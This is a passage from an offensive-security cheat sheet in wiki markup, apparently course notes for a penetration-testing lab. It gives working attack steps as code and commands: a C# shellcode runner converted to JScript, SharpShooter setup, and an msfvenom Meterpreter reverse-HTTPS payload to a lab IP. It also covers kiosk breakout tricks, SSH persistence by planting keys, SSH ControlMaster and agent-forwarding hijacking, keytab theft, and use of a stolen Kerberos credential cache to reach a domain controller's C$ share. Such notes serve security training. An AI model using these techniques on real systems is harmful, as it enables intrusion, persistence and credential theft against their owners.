# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
